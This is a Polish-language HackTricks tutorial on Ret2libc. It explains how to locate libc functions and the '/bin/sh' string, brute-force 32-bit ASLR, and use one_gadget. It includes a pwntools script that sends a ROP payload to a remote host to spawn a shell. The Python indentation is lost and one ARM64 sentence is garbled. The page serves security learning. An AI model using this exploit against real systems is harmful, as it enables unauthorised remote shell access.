Ret2lib

Reading time: 6 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe informacje

Istotą Ret2Libc jest przekierowanie przepływu wykonania podatnego programu do funkcji w bibliotece współdzielonej (np. system, execve, strcpy) zamiast wykonywania dostarczonego przez atakującego shellcode na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie, aby wskazywał na pożądaną funkcję biblioteki, jednocześnie zapewniając, że wszelkie niezbędne argumenty są poprawnie ustawione zgodnie z konwencją wywołania.

Przykładowe kroki (uproszczone)

  • Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wywołania (np. /bin/sh)
  • Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na ciąg polecenia i przepływ wykonania do funkcji

Znajdowanie adresów

  • Zakładając, że używana libc to ta z bieżącej maszyny, możesz znaleźć, gdzie zostanie załadowana w pamięci za pomocą:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Znając używaną libc, możliwe jest również znalezienie przesunięcia do funkcji system za pomocą:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Znając używaną libc, możliwe jest również znalezienie offsetu do funkcji łańcucha /bin/sh za pomocą:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Używanie gdb-peda / GEF

Znając używaną libc, możliwe jest również użycie Peda lub GEF do uzyskania adresu funkcji system, funkcji exit oraz ciągu /bin/sh :

bash
p system
p exit
find "/bin/sh"

Używanie /proc/<PID>/maps

Jeśli proces tworzy dzieci za każdym razem, gdy z nim rozmawiasz (serwer sieciowy), spróbuj przeczytać ten plik (prawdopodobnie będziesz musiał być rootem).

Tutaj możesz znaleźć dokładnie, gdzie załadowana jest libc wewnątrz procesu i gdzie będzie załadowana dla każdego dziecka procesu.

W tym przypadku jest załadowana w 0xb75dc000 (To będzie adres bazowy libc)

Nieznana libc

Może się zdarzyć, że nie znasz libc, którą ładowany jest binarny plik (ponieważ może być zlokalizowany na serwerze, do którego nie masz dostępu). W takim przypadku możesz wykorzystać lukę, aby ujawnić kilka adresów i znaleźć, która biblioteka libc jest używana:

{{#ref}} rop-leaking-libc-address/ {{#endref}}

A szablon pwntools do tego znajdziesz w:

{{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}}

Poznanie libc z 2 offsetami

Sprawdź stronę https://libc.blukat.me/ i użyj kilku adresów funkcji wewnątrz libc, aby dowiedzieć się o używanej wersji.

Ominięcie ASLR w 32 bitach

Te ataki brute-force są przydatne tylko dla systemów 32-bitowych.

  • Jeśli exploit jest lokalny, możesz spróbować brute-force'ować adres bazowy libc (przydatne dla systemów 32-bitowych):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Jeśli atakujesz zdalny serwer, możesz spróbować brute-force'ować adres funkcji libc usleep, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer zajmuje dodatkowe 10s na odpowiedź, znalazłeś adres tej funkcji.

One Gadget

Wykonaj powłokę, skacząc do jednego konkretnego adresu w libc:

{{#ref}} one-gadget.md {{#endref}}

x86 Ret2lib Code Example

W tym przykładzie brute-force ASLR jest zintegrowany w kodzie, a podatny plik binarny znajduje się na zdalnym serwerze:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Example

Sprawdź przykład z:

{{#ref}} ../ {{#endref}}

ARM64 Ret2lib Example

W przypadku ARM64 instrukcja ret skacze tam, gdzie wskazuje rejestr x30, a nie tam, gdzie wskazuje rejestr stosu. Więc jest to trochę bardziej skomplikowane.

Również w ARM64 instrukcja robi to, co instrukcja robi (nie można skakać w środku instrukcji i przekształcać ich w nowe).

Sprawdź przykład z:

{{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}}

Ret-into-printf (lub puts)

To pozwala na wyciek informacji z procesu poprzez wywołanie printf/puts z pewnymi specyficznymi danymi umieszczonymi jako argument. Na przykład umieszczenie adresu puts w GOT w wykonaniu puts spowoduje wyciek adresu puts w pamięci.

Ret2printf

To zasadniczo oznacza nadużywanie Ret2lib, aby przekształcić go w podatność na formatowanie ciągów printf poprzez użycie ret2lib do wywołania printf z wartościami do wykorzystania (brzmi bezużytecznie, ale możliwe):

{{#ref}} ../../format-strings/ {{#endref}}

Inne przykłady i odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks